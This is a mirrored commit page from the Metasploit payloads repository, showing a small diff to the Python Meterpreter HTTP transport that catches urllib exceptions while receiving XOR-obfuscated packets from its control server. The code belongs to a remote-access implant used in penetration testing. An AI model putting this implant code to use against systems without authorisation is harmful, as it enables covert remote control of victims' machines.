mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
on exception from URLLib, don't spin 100% cpu
This commit is contained in:
parent
6ea1e71e14
commit
b5372d2a98
@ -642,19 +642,23 @@ class HttpTransport(Transport):
|
|||||||
packet = None
|
packet = None
|
||||||
xor_key = None
|
xor_key = None
|
||||||
request = urllib.Request(self.url, None, self._http_request_headers)
|
request = urllib.Request(self.url, None, self._http_request_headers)
|
||||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
try:
|
||||||
packet = url_h.read()
|
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||||
for _ in range(1):
|
packet = url_h.read()
|
||||||
if packet == '':
|
for _ in range(1):
|
||||||
break
|
if packet == '':
|
||||||
if len(packet) < PACKET_HEADER_SIZE:
|
break
|
||||||
packet = None # looks corrupt
|
if len(packet) < PACKET_HEADER_SIZE:
|
||||||
break
|
packet = None # looks corrupt
|
||||||
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
|
break
|
||||||
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
|
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
|
||||||
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8
|
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
|
||||||
if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
|
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8
|
||||||
packet = None # looks corrupt
|
if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
|
||||||
|
packet = None # looks corrupt
|
||||||
|
except:
|
||||||
|
debug_traceback('Failure to receive packet from ' + self.url)
|
||||||
|
|
||||||
if not packet:
|
if not packet:
|
||||||
delay = 10 * self._empty_cnt
|
delay = 10 * self._empty_cnt
|
||||||
if self._empty_cnt >= 0:
|
if self._empty_cnt >= 0:
|
||||||
@ -662,6 +666,7 @@ class HttpTransport(Transport):
|
|||||||
self._empty_cnt += 1
|
self._empty_cnt += 1
|
||||||
time.sleep(float(min(10000, delay)) / 1000)
|
time.sleep(float(min(10000, delay)) / 1000)
|
||||||
return packet
|
return packet
|
||||||
|
|
||||||
self._empty_cnt = 0
|
self._empty_cnt = 0
|
||||||
return packet
|
return packet
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user